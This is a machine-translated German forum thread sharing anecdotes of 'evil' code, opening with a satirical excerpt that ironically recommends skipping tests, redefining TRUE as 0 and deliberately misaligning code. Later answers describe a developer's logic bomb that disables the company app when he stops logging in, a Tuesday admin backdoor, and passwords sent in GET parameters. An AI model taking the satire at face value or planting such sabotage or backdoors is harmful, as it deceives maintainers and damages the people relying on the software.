Ich werde Sie in ein wenig bekanntes Codierungsgeheimnis einweihen. Ausnahmen sind ein Schmerz im Hinterkopf. Richtig geschriebener Code schlägt nie fehl, sodass Ausnahmen eigentlich nicht erforderlich sind. Verschwenden Sie keine Zeit mit ihnen. Ausnahmen für Unterklassen gelten für Inkompetente, die wissen, dass ihr Code fehlschlägt. Sie können Ihr Programm erheblich vereinfachen, indem Sie nur einen einzigen Versuch / Fang in der gesamten Anwendung (hauptsächlich) ausführen, die System.exit () aufruft. Kleben Sie einfach einen Standardsatz von Würfen auf jeden Methodenheader, ob sie tatsächlich Ausnahmen auslösen könnten oder nicht.

Magic Matrix Locations

Verwenden Sie spezielle Werte an bestimmten Matrixpositionen als Flags. Eine gute Wahl ist das [3] [0] -Element in einer Transformationsmatrix, die mit einem homogenen Koordinatensystem verwendet wird.

Magic Array Slots überarbeitet

Wenn Sie mehrere Variablen eines bestimmten Typs benötigen, definieren Sie einfach ein Array davon und greifen Sie dann über die Nummer darauf zu. Wählen Sie eine Nummerierungskonvention, die nur Sie kennen, und dokumentieren Sie sie nicht. Und definieren Sie keine # define-Konstanten für die Indizes. Jeder sollte nur wissen, dass das globale Variablen-Widget [15] die Schaltfläche zum Abbrechen ist. Dies ist nur eine aktuelle Variante der Verwendung absoluter numerischer Adressen im Assembler-Code.

Verschönern Sie niemals

Verwenden Sie niemals einen automatisierten Quellcode-Aufräumer (Verschönerer), um Ihren Code auszurichten. Lobby, damit sie sie aus Ihrem Unternehmen verbannen, weil sie falsche Deltas in PVCS / CVS (Versionskontroll-Tracking) erstellen oder weil jeder Programmierer seinen eigenen Einrückungsstil für jedes Modul, das er geschrieben hat, für immer heilig halten sollte. Bestehen Sie darauf, dass andere Programmierer diese eigenwilligen Konventionen in "seinen" Modulen beachten. Das Verbot von Verschönerungen ist recht einfach, obwohl sie die Millionen von Tastenanschlägen beim manuellen Ausrichten sparen und Tage damit verschwenden, schlecht ausgerichteten Code falsch zu interpretieren. Bestehen Sie nur darauf, dass alle das gleiche aufgeräumte Format verwenden, nicht nur zum Speichern im gemeinsamen Repository, sondern auch während der Bearbeitung. Dies startet eine RWAR und der Chef wird, um den Frieden zu bewahren, das automatische Aufräumen verbieten. Ohne automatisiertes Aufräumen, Es steht Ihnen jetzt frei, den Code versehentlich falsch auszurichten, um die optische Täuschung zu erzeugen, dass Schleifen- und Wenn-Körper länger oder kürzer sind als sie wirklich sind oder dass Klauseln mit einem anderen Wenn übereinstimmen, als sie es tatsächlich tun. z.B

if(a)
  if(b) x=y;
else x=z;

Testen ist für Feiglinge

Ein mutiger Programmierer wird diesen Schritt umgehen. Zu viele Programmierer haben Angst vor ihrem Chef, Angst, ihren Job zu verlieren, Angst vor Hasspost von Kunden und Angst, verklagt zu werden. Diese Angst lähmt das Handeln und verringert die Produktivität. Studien haben gezeigt, dass die Eliminierung der Testphase bedeutet, dass Manager die Versanddaten frühzeitig festlegen können. Dies ist eine offensichtliche Hilfe im Planungsprozess. Wenn die Angst weg ist, können Innovation und Experimente aufblühen. Die Rolle des Programmierers besteht darin, Code zu erstellen, und das Debuggen kann durch eine Zusammenarbeit des Helpdesks und der Legacy-Wartungsgruppe erfolgen.

Wenn wir volles Vertrauen in unsere Codierungsfähigkeit haben, sind Tests nicht erforderlich. Wenn wir dies logisch betrachten, kann jeder Dummkopf erkennen, dass das Testen nicht einmal versucht, ein technisches Problem zu lösen, sondern dass dies ein Problem des emotionalen Vertrauens ist. Eine effizientere Lösung für dieses Problem des mangelnden Vertrauens besteht darin, Tests vollständig zu eliminieren und unsere Programmierer zu Kursen zum Selbstwertgefühl zu schicken. Wenn wir uns für das Testen entscheiden, müssen wir schließlich jede Programmänderung testen, aber wir müssen die Programmierer nur zu einem Kurs schicken, um das Selbstwertgefühl zu stärken. Der Kostenvorteil ist ebenso erstaunlich wie offensichtlich.

Kehren Sie die übliche Richtig-Falsch-Konvention um

Kehren Sie die üblichen Definitionen von wahr und falsch um. Klingt sehr offensichtlich, funktioniert aber hervorragend. Sie können verstecken:

#define TRUE 0 
#define FALSE 1

Irgendwo tief im Code, so dass er aus einer Datei, die niemand mehr betrachtet, aus dem Darm des Programms ausgebaggert wird. Dann zwingen Sie das Programm zu Vergleichen wie:

if ( var == TRUE )
if ( var != FALSE )

Jemand ist verpflichtet, die offensichtliche Redundanz zu "korrigieren" und var auf die übliche Weise an anderer Stelle zu verwenden:

if ( var )

Eine andere Technik besteht darin, TRUE und FALSE auf den gleichen Wert zu bringen, obwohl die meisten dies als Betrug betrachten würden. Die Verwendung der Werte 1 und 2 oder -1 und 0 ist eine subtilere Methode, um Menschen zu stolpern und trotzdem respektabel auszusehen. Sie können dieselbe Technik in Java verwenden, indem Sie eine statische Konstante namens TRUE definieren. Programmierer sind möglicherweise misstrauischer, dass Sie nichts Gutes tun, da in Java ein integriertes Literal true vorhanden ist.

Schizophrenie ausnutzen

Java ist in Bezug auf Array-Deklarationen schizophren. Sie können sie mit dem alten C, Way String x [] (mit gemischter Prä-Postfix-Notation) oder mit dem neuen Way String [] x mit reiner Präfix-Notation ausführen. Wenn Sie die Leute wirklich verwirren möchten, mischen Sie die Notationse.g.

byte[ ] rowvector, colvector , matrix[ ];

was äquivalent ist zu:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;
Anurag
quelle
lol sie sind böse :) - mein Favorit ist das Eröffnungszitat in diesem Aufsatz - "Niemals der Bosheit zuschreiben, was durch Inkompetenz erklärt werden kann"
Anurag
19

Ich weiß nicht, ob ich den Code "böse" nennen würde, aber wir hatten einen Entwickler, der Object[]Arrays erstellte, anstatt Klassen zu schreiben. Überall.

user41871
quelle
40
Ich habe tatsächlich ein PHP-Buch gelesen, in dem stand, dass dies in Ordnung ist. Nun, ich habe es sowieso bis zu diesem Punkt gelesen.
Bill the Lizard
4
@ Bill: Es ist nicht so, dass ich diese Praxis gutheiße, aber PHP ist schwach typisiert. Dies ist definitiv akzeptabler als zum Beispiel in C #
Tamas Czinege am
Ich verstehe es nicht ... wie könnte man so etwas erreichen?
Hhafez
@hhafez: Mit PHP-Objekten können Sie jedes Objektmitglied nach Belieben festlegen.
Bill Karwin
Vielleicht war der Typ ein PHP-Skriptkind, das gezwungen war, C # -Code zu schreiben.
Chakrit
18

Ich habe Code gesehen (und auf thedailywtf gepostet), mit dem jeder dienstags Administratorrechte für einen wesentlichen Teil einer Anwendung erhält. Ich denke, der ursprüngliche Entwickler hat vergessen, den Code nach lokalen Maschinentests zu entfernen.

Sergey
quelle
16

Ich weiß nicht, ob dies "böse" oder falsch ist (ich habe es kürzlich auf The Old New Thing gepostet):

Ich kannte einen Mann, der es liebte, Informationen als begrenzte Zeichenfolgen zu speichern. Er war mit dem Konzept der Arrays vertraut, wie gezeigt wurde, als er Arrays mit begrenzten Strings verwendete, aber die Glühbirne leuchtete nie auf.

greg
quelle
15

Base 36-Codierung zum Speichern von Ints in Strings.

Ich denke, die Theorie geht in etwa so:

  • Hexadezimal wird verwendet, um Zahlen darzustellen
  • Hexadezimal verwendet keine Buchstaben jenseits von F, was bedeutet, dass GZ verschwendet werden
  • Abfall ist schlecht

Momentan arbeite ich mit einer Datenbank, die die Wochentage, an denen ein Ereignis auftreten kann, als 7-Bit-Bitfeld (0-127) speichert, das in der Datenbank als 2-stellige Zeichenfolge im Bereich von '0' gespeichert ist. zu '3J'.

geofftnz
quelle
Technisch gesehen könnte die Darstellung eines int eine Basis-256-Zeichenfolge sein, und sie hätten denselben tatsächlichen Wert.
Solent
1
Was ist, wenn es sich um eine nullterminierte Base-256-Zeichenfolge handelt?
geofftnz
3
Klingt so, als würde sich jemand an das Remote Imaging-Protokoll von vor 20 Jahren erinnern. Erinnern Sie sich an DFÜ-Modems und BBS? Nun, ANSI hat sie lange Zeit regiert. ANSI ist jedoch nur Text. Also hat sich jemand eine Möglichkeit ausgedacht, Grafiken zu erstellen: daher das Remote Imaging-Protokoll. Eine, wenn es Macken ist, war, dass große ganze Zahlen in Basis 36 codiert wurden: - /
staticsan
2
Nicht so schlimm, wenn Sie eine Einschränkung eines Kommunikationskanals überwinden, sondern in einer Datenbank?
geofftnz
4
Vor einigen Jobs haben wir die Basis 36 verwendet, um Sozialversicherungsnummern (9 Ziffern) in eine 6-stellige Zeichenfolge zu codieren, damit sie mit einer Jahreszahl und einer Versionsziffer kombiniert werden können und folglich in einen Dateinamen im DOS 8.3-Stil passen. Die Aristokraten!
Jesse C. Slicer
14

Ich erinnere mich, dass ich einen Login-Handler gesehen habe, der eine Post-Anfrage entgegengenommen und zu einem GET umgeleitet hat, dessen Benutzername und Passwort als Parameter übergeben wurden. Dies war für ein medizinisches System der "Enterprise-Klasse".

Ich bemerkte dies beim Überprüfen einiger Protokolle - ich war sehr versucht, dem CEO sein Passwort zu senden.

chris
quelle
2
+1 für Ihre überlegte Vorgehensweise. = P
Chris Cooper
Ich habe das vor ein paar Monaten in der App gesehen, die ich betreue. Natürlich speichert dieselbe App auch keine verschlüsselten Passwörter, was das Unternehmen als nützlich erachtet hat, da sie Kunden ihre Passwörter mitteilen können, wenn sie diese vergessen. Viele unserer Kunden sind nicht mit Computern vertraut. Die App wurde inzwischen aktualisiert, um dies nicht zu tun, aber die Passwörter werden weiterhin im Klartext gespeichert. Das ist eine Herausforderung für einen anderen Tag ...
Statik
12

Wirklich böse war dieses Stück brillanten Delphi-Codes:

type
  TMyClass = class
  private
    FField : Integer;
  public
    procedure DoSomething;
  end;

var
  myclass : TMyClass;


procedure TMyClass.DoSomething;
begin
  myclass.FField := xxx; // 
end;

Es hat großartig funktioniert, wenn es nur eine Instanz einer Klasse gab. Aber leider musste ich eine andere Instanz verwenden und das verursachte viele interessante Fehler.

Als ich dieses Juwel gefunden habe, kann ich mich nicht erinnern, ob ich ohnmächtig geworden oder geschrien habe, wahrscheinlich beides.

Toon Krijthe
quelle
2
+1: Was? Möglicherweise müssen Sie erklären, was das bewirkt ... das heißt, wenn Sie es wissen.
Kent Fredric
11
Es handelt sich um eine Elementfunktion, die den Status eines einzelnen globalen Objekts ändert, anstatt den Status des Objekts zu ändern, für das Sie es aufrufen (wie es jeder vernünftige Mensch erwarten würde). Wenn Sie es also für ein anderes Objekt aufrufen, wird es nicht das tun, was Sie erwarten.
user9876
3
+1, ich musste es mehrmals lesen, bevor mir klar wurde, was daran falsch war - deshalb ist es so böse!
Edmund
Es sieht so aus, als hätte jemand versucht, einen Singleton zu implementieren ... schlecht.
Jesse C. Slicer
12

Vielleicht nicht böse, aber sicher eher ... fehlgeleitet.

Ich musste einmal einen "Parser für natürliche Sprache" umschreiben, der als einzelne 5.000-Zeilen-if-then-Anweisung implementiert wurde.

wie in...

if (text == "hello" || text == "hi")
    response = "hello";
else if (text == "goodbye")
    response = "bye";
else
    ...
Jason Williams
quelle
11

Ich habe Code in einer ASP.NET MVC-Site von einem Mann gesehen, der zuvor nur Webformulare erstellt hatte (und ein bekannter Copy / Paster ist!), Der ein clientseitiges Klickereignis auf ein <a>Tag geklebt hat , das eine Javascript-Methode aufgerufen hat, die ein Dokument erstellt hat. Standort.

Ich habe versucht zu erklären, dass ein hrefauf dem <a>Tag dasselbe tun würde !!!

Pharabus
quelle
1
Das stimmt, aber es gibt auch Fälle, in denen dies wertvoll sein kann. Es gibt Fälle, in denen progressive Verbesserung / ordnungsgemäße Verschlechterung auf der Clientseite im Spiel sind (z. B. würde sich der Link nur ändern, wenn JS
aktiviert
2
Menschen, die Webseiten nur durch Ziehen und Ablegen auf Webformulare entwerfen, sind Abschaum.
Earlz
10

Ein bisschen böse ... jemand, den ich kenne, hat in die interne Web-App des Unternehmens geschrieben, eine tägliche Überprüfung, ob er sich in den letzten 10 Tagen beim System angemeldet hat. Wenn keine Aufzeichnung von ihm angemeldet ist, wird die App für alle Mitarbeiter des Unternehmens deaktiviert.

Er schrieb das Stück, als er Gerüchte über Entlassungen hörte, und wenn er unterging, musste die Firma leiden.

Der einzige Grund, warum ich davon wusste, ist, dass er zwei Wochen Urlaub gemacht hat und ich ihn angerufen habe, als die Seite kaputt war. Er sagte mir, ich solle mich mit seinem Benutzernamen / Passwort anmelden ... und alles war wieder in Ordnung.

Natürlich ... Monate später wurden wir alle entlassen.

Ed B.
quelle
8

Mein Kollege erinnert sich gerne an die ASP.NET-Anwendung, die public staticfür alle Datenbankarbeiten eine Datenbankverbindung verwendet hat .

Ja, eine Verbindung für alle Anfragen. Und nein, es wurde auch keine Verriegelung vorgenommen.

David Schmitt
quelle
2
Ich nehme an, die "verdrehte" Logik ist, dass keine Sperre erforderlich ist, wenn nur eine Verbindung besteht!
Jim Birchall
1
Ich bin mir ziemlich sicher, dass ich das getan habe, als ich 16 Jahre alt war und in zwei Tagen ASP.NET gelernt habe.
Josh Lee
6

Ich erinnere mich, dass ich IIS 3 einrichten musste, um Perl-CGI-Skripte auszuführen (ja, das war vor langer Zeit). Die offizielle Empfehlung zu dieser Zeit war, Perl.exe in cgi-bin zu setzen. Es hat funktioniert, aber es hat auch jedem Zugriff auf eine ziemlich leistungsstarke Scripting-Engine gegeben!

Brian Rasmussen
quelle
oh m! Wahrscheinlich gibt es immer noch Websites im Internet, auf denen perl.exe nur hängt.
Jsbueno
5

SQL-Abfragen direkt in Javascript in einer ASP-Anwendung. Schmutziger geht es nicht ...

Koen
quelle
5

Wir hatten eine Anwendung, die den gesamten globalen Status in eine XML-Datei geladen hat. Kein Problem damit, außer dass der Entwickler eine neue Form der Rekursion erstellt hatte.

<settings>
  <property>
      <name>...</name>
      <value>...</value>
      <property>
          <name>...</name>
          <value>...</value>
          <property>
              <name>...</name>
              <value>...</value>
              <property>
                   <name>...</name>
                   <value>...</value>
                   <property>
                        <name>...</name>
                        <value>...</value>
                       <property>
                             <name>...</name>
                             <value>...</value>
                            <property>

Dann kommt der lustige Teil. Wenn die Anwendung geladen wird, durchläuft sie die Liste der Eigenschaften und fügt sie einer globalen (flachen) Liste hinzu, zusammen mit dem Inkrementieren eines Mystery-Zählers. Der Mystery Counter heißt völlig irrelevant und wird in Mystery-Berechnungen verwendet:

List properties = new List();
Node<-root
while node.hasNode("property")
    add to properties list
    my_global_variable++;
    if hasNode("property")
         node=getNode("property"), ... etc etc

Und dann bekommen Sie Funktionen wie

calculateSumOfCombinations(int x, int y){
   return x+y+my_global_variable;
}

Bearbeiten: Klarstellung - Ich habe lange gebraucht, um herauszufinden, dass er die Tiefe der Rekursion gezählt hat, da auf Ebene 6 oder 7 die Eigenschaften ihre Bedeutung geändert haben und er den Zähler verwendet hat, um sein flaches Set in 2 Sets verschiedener Typen aufzuteilen , ähnlich wie eine Liste von STAAT, STAAT, STAAT, STADT, STADT, STADT und die Überprüfung, ob der Index> Zähler ist, um festzustellen, ob Ihr Name eine Stadt oder ein Bundesland ist)

Steve B.
quelle
4

Anstatt einen Windows-Dienst für einen Serverprozess zu schreiben, der ständig ausgeführt werden musste, schrieb einer unserer "Architekten" eine Konsolen-App und verwendete den Taskplaner, um sie alle 60 Sekunden auszuführen.

Beachten Sie, dass dies in .NET der Fall ist, wo Dienste sehr einfach zu erstellen sind.

- -

Außerdem wurde an derselben Stelle eine Konsolen-App zum Hosten eines .NET-Remoting-Dienstes verwendet, sodass die Konsolen-App gestartet und eine Sitzung gesperrt werden musste, damit sie bei jedem Neustart des Servers ausgeführt werden konnte.

- -

Am letzten Ort, an dem ich arbeitete, hatte einer der Architekten eine einzige C # -Quellcodedatei mit über 100 Klassen, die ungefähr 250 KB groß war.

Dana Holt
quelle
Das Schreiben eines Programms und die Verwendung des Taskplaners zum Ausführen ist der richtige Weg, um das Problem der Zeitsteuerungsprozesse zu lösen. Windows-Dienste dürfen nicht zum Planen Ihrer Anwendungen missbraucht werden - das ist der Punkt des Windows-Dienst-Taskplaners.
Andrew Weir
1
lol, es gab kein Timing. Der Dienst musste die ganze Zeit laufen, aber ich denke, er dachte, alle 60 Sekunden sei nah genug.
Dana Holt
Ah ich sehe. Das macht jetzt Sinn
Andrew Weir
Bearbeitet, um es klarer zu machen. :)
Dana Holt
3

32 Quellcodedateien mit jeweils mehr als 10 KB Codezeilen. Jede enthielt eine Klasse. Jede Klasse enthielt eine Methode, die "alles" tat.

Das war ein wahrer Albtraum für das Debuggen dieses Codes, bevor ich das umgestalten musste.

Denys
quelle
3

An einem früheren Arbeitsplatz haben wir ein Legacy-Projekt geerbt, das teilweise früher ausgelagert worden war. Die Haupt-App war Java, der ausgelagerte Teil war eine native C-Bibliothek. Einmal habe ich mir die C-Quelldateien angesehen. Ich habe den Inhalt des Verzeichnisses aufgelistet. Es gab mehrere Quelldateien mit einer Größe von über 200 KB. Die größte C-Datei war 600 KB .

Gott sei Dank musste ich sie nie anfassen :-)

Péter Török
quelle
3

Ich erhielt eine Reihe von Programmen, um voranzukommen, während Kollegen bei einem Kunden im Ausland waren (Installation dieser Programme). In jedem Programm war eine Schlüsselbibliothek enthalten, und als ich versuchte, den Code herauszufinden, stellte ich fest, dass es von Programm zu Programm winzige Unterschiede gab. In einer gemeinsamen Bibliothek.

Als ich dies erkannte, führte ich einen Textvergleich aller Kopien durch. Ich glaube, von 16 gab es ungefähr 9 einzigartige. Ich warf einen Anfall.

Der Chef intervenierte und ließ die Kollegen eine scheinbar universelle Version zusammenstellen. Sie schickten den Code per E-Mail. Mir unbekannt, gab es Zeichenfolgen mit nicht druckbaren Zeichen und einige gemischte Codierungen. Die E-Mail hat es ziemlich schlecht verstümmelt.

Die nicht druckbaren Zeichen wurden verwendet, um Daten (alle Zeichenfolgen!) Von einem Server an einen Client zu senden. Alle Zeichenfolgen wurden daher auf der Serverseite durch das Zeichen 0x03 getrennt und auf der Clientseite in C # mithilfe der Split-Funktion neu zusammengestellt.

Der irgendwie vernünftige Weg wäre gewesen:

someVariable.Split(Convert.ToChar(0x03);

Der vernünftigere und freundlichere Weg wäre gewesen, eine Konstante zu verwenden:

private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);

Der BÖSE Weg war das, was meine Kollegen gewählt haben: Verwenden Sie alle "Drucke" für 0x03 in Visual Studio und setzen Sie diese zwischen Anführungszeichen:

someVariable.Split('/*unprintable character*/');

Außerdem war in dieser Bibliothek (und allen zugehörigen Programmen) keine einzige Variable lokal (ich habe es überprüft!). Funktionen wurden entwickelt, um entweder dieselben Variablen wiederherzustellen, sobald sie als sicher erachtet wurden, um sie zu verschwenden, oder um neue Variablen zu erstellen, die für die gesamte Dauer des Prozesses weiterleben. Ich habe mehrere Seiten ausgedruckt und farblich gekennzeichnet. Gelb bedeutete "global, nie durch eine andere Funktion verändert", Rot bedeutete "global, durch mehrere verändert". Grün wäre "lokal" gewesen, aber es gab keine.

Oh, habe ich die Kontrollversion erwähnt? Weil es natürlich keine gab.

ADD ON: Ich habe mich gerade an eine Funktion erinnert, die ich vor kurzem entdeckt habe.

Sein Zweck war es, eine Reihe von Arrays von Intergern durchzugehen und jedes erste und letzte Element auf 0 zu setzen. Es ging so (kein tatsächlicher Code aus dem Speicher und mehr C # -esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Der Punkt war natürlich, dass jedes Sub-Array dies ausführen musste, beide Operationen, für alle Elemente. Ich bin mir nur nicht sicher, wie sich ein Programmierer für so etwas entscheiden kann.

MPelletier
quelle
2

Ähnlich wie jemand anderes oben erwähnt:

Ich habe an einem Ort gearbeitet, der eine Pseudoskriptsprache in der Anwendung hatte. Es speiste in eine massive Methode ein, die ungefähr 30 Parameter und einen Riesen hatteSelect Case Aussage hatte.

Es war Zeit, weitere Parameter hinzuzufügen, aber der Mann im Team, der das tun musste, erkannte, dass es bereits zu viele gab.

Seine Lösung?

Er fügte eine Single hinzu object Parameter , damit er alles übergeben konnte, was er wollte, und es dann umwandeln konnte.

Ich konnte diesen Ort nicht schnell genug verlassen.

Ryan Lundy
quelle
Ich habe so etwas in Flash geschrieben, um ein kleines Betriebssystem zu skripten, das eine Reihe von Befehlszeichenfolgen verarbeitet. Die Befehlszeichenfolgen haben alle dasselbe Grundformat "cmd_name: param1 | param2 | param3 | etc.", Daher wurden alle Zeichenfolgen von einer einzelnen Funktion mit einer switch-Anweisung für den Befehlsnamen mit etwa 15 Fallbezeichnungen verarbeitet. Es war einfach und leicht zu warten, aber die Methode selbst hatte nur ein paar Parameter, nicht dreißig. Wie auch immer, ich wäre auch gelaufen, nachdem ich gesehen hätte, wie jemand ein Objekt angeheftet hat, nachdem ich bereits 30 Parameter hatte. Das ist verrückt.
Triynko
2

Nachdem unsere Kundenteams einige seltsame Probleme gemeldet hatten, stellten wir fest, dass zwei verschiedene Versionen der Anwendung auf dieselbe Datenbank verweisen. (Während der Bereitstellung des neuen Systems für sie wurde ihre Datenbank aktualisiert, aber jeder vergaß, sein altes System herunterzufahren.)

Dies war eine Wunderflucht.

Und seitdem haben wir zum Glück einen automatisierten Build- und Deployment-Prozess :-)

MOZILLA
quelle
2

Ich denke, dass es ein Programm war, das eine Schleife in die Allzweckregister eines pdp-10 geladen und dann den Code in diesen Registern ausgeführt hat.

Sie könnten das auf einem pdp-10 tun. Das heißt nicht, dass du es solltest.

EDIT: Zumindest ist dies das Beste aus meiner (manchmal ziemlich schäbigen) Erinnerung.

leed25d
quelle
2

Ich hatte das große Unglück, ein ziemlich verrücktes Verhalten in einer semi-benutzerdefinierten Datenbank-Hochverfügbarkeitslösung zu finden.

Die Kernbits waren unauffällig. Red Hat Enterprise Linux, MySQL, DRBD und das Linux-HA-Zeug. Die Konfiguration wurde jedoch von einem vollständig benutzerdefinierten Marionetten-ähnlichen System beibehalten (es ist nicht überraschend, dass es viele andere Beispiele für Wahnsinn gibt, die aus diesem System resultieren).

Es stellt sich heraus, dass das System das überprüft hat install.log Datei, die Kickstart im Stammverzeichnis hinterlässt, auf einen Teil der Informationen zum Erstellen der DRBD-Konfiguration erforderlich sind. Das an sich ist natürlich böse. Sie ziehen die Konfiguration nicht aus einer Protokolldatei, deren Format nicht tatsächlich definiert ist. Es wird jedoch schlimmer.

Diese Daten wurden nirgendwo anders gespeichert, und jedes Mal, wenn sie alle 60 Sekunden ausgeführt wurden, wurden sie konsultiert install.log .

Ich lasse Sie nur raten, was passiert ist, als sich jemand zum ersten Mal entschied, diese ansonsten nutzlose Protokolldatei zu löschen.

Nicholas Knight
quelle